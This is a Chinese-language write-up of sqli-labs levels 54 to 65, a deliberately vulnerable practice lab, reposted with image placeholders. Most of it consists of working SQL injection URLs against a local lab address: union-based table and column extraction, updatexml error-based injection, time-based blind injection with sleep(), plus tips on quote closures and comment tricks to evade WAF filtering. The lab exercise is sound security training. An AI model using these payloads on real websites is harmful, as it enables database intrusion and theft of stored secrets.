sqli-labs less54-65

 

sqli-labs less54-65_第1张图片

 

 

 

less 54

?id=1

sqli-labs less54-65_第2张图片

 

 sqli-labs less54-65_第3张图片

sqli-labs less54-65_第4张图片

http://192.168.50.100/sqli-labs/Less-54?id=1' order by 3 --+  正常   

http://192.168.50.100/sqli-labs/Less-54?id=1' order by 4 --+  不正常

 

sqli-labs less54-65_第5张图片

sqli-labs less54-65_第6张图片

 

 

?id=0'  union  select 1,2,database()--+   查看当前数据库

sqli-labs less54-65_第7张图片

 取出表名

http://192.168.50.100/sqli-labs/Less-54?id=-1' union select 1,2,(group_concat(table_name)) from information_schema.tables where table_schema =0x6368616c6c656e676573--+

 sqli-labs less54-65_第8张图片

 

 http://192.168.50.100/sqli-labs/Less-54?id=-1' union select 1,2,(group_concat(column_name)) from information_schema.columns where table_name ='ixfl7b4dbx' --+

 

 

 sqli-labs less54-65_第9张图片

 

id,sessid,secret_GWNP,tryy

 取出数据

http://192.168.50.100/sqli-labs/Less-54/?id=0' union select 1,2,(group_concat( concat_ws(0x7e,sessid,secret_GWNP,tryy)  )) from challenges.ixfl7b4dbx --+

 sqli-labs less54-65_第10张图片

 

 

 

输入拿到的secret:

在最下面 submit:

 sqli-labs less54-65_第11张图片

 

less-55

 

这次是14次。

数据格式变成id=(1),其他步骤均相同

 

less-56

数据格式变成id=(‘1’),其他步骤均相同

 

less-57

这次还是14次。

数据格式变成id=“1”,其他步骤均相同

 

 

less-58

本关不能使用联合查询,并且要求在5次之内获得数据。

使用报错注入:

 

获得表名:之前已经知道数据库的名字是challenges

获得表名

 

http://192.168.50.100/sqli-labs/Less-58/?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='CHALLENGES') ),1)--+

sqli-labs less54-65_第12张图片

 

 

 

 

uqlwc9pzmc

 

获取字段:http://192.168.50.100/sqli-labs/Less-58/?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from Information_schema.columns where table_name='uqlwc9pzmc' )),1)--+

sqli-labs less54-65_第13张图片

 

 

'~id,sessid,secret_CG31,tryy'

 

 获取字段的值:http://192.168.50.100/sqli-labs/Less-58/?id=1' and updatexml(1,concat(0x7e,(select group_concat(secret_CG31) from challenges.uqlwc9pzmc )),1)--+

 

sqli-labs less54-65_第14张图片

 

 

 e3erYMx7A5uHBZwRqg2Drlef

最后submit

 sqli-labs less54-65_第15张图片

 

 

 

less-59

 

同样是使用报错注入,区别在于对id值得处理,id=1,就是没有包裹。

 

 

 

less-60 

 

同样是使用报错注入,区别在于对id值得处理,id=(“1”),

 

 

 

less-61 

 

同样是使用报错注入,区别在于对id值得处理,id=((‘1’)),的。

 

 

 

 

 

less-62

看到有130次机会就知道要盲注了。他题目中已经给出了数据库名,所以再猜解表名,字段名和值就可以了,这里简单演示:
http://192.168.50.100/sqli-labs/Less-62/?id=1') and if( left( (select table_name from information_schema.tables where table_schema='CHALLENGES' limit 0,1),1)> 'a' ,1, sleep(5)) --+

sqli-labs less54-65_第16张图片

 

 

 

less-63

同样是延时注入,只是对于id值的处理不同:

SELECT * FROM security.users WHERE id='1' LIMIT 0,1

 

less-64

同样是延时注入,只是对于id值的处理不同:

SELECT * FROM security.users WHERE id=((1)) LIMIT 0,1

 

less-65

同样是延时注入,只是对于id值的处理不同:

 

SELECT * FROM security.users WHERE id=("1") LIMIT 0,1

 

 

 

 

id或者sort闭合的方式:‘’、“”、()、(’‘)、(“”)、((’‘)),等等吧,根据不同的数据格式判断出不同sql闭合语句。

 

注释符:--+ --空 # %23  和;%00  有的WAF会使注释符过滤转义,所以需要多记几个

 

手工注入的几种姿势:报错注入、布尔盲注、时间盲注、读文件、写文件、堆叠注入、一句话木马、参数污染等等等

 

你可能感兴趣的:(sqli-labs less54-65)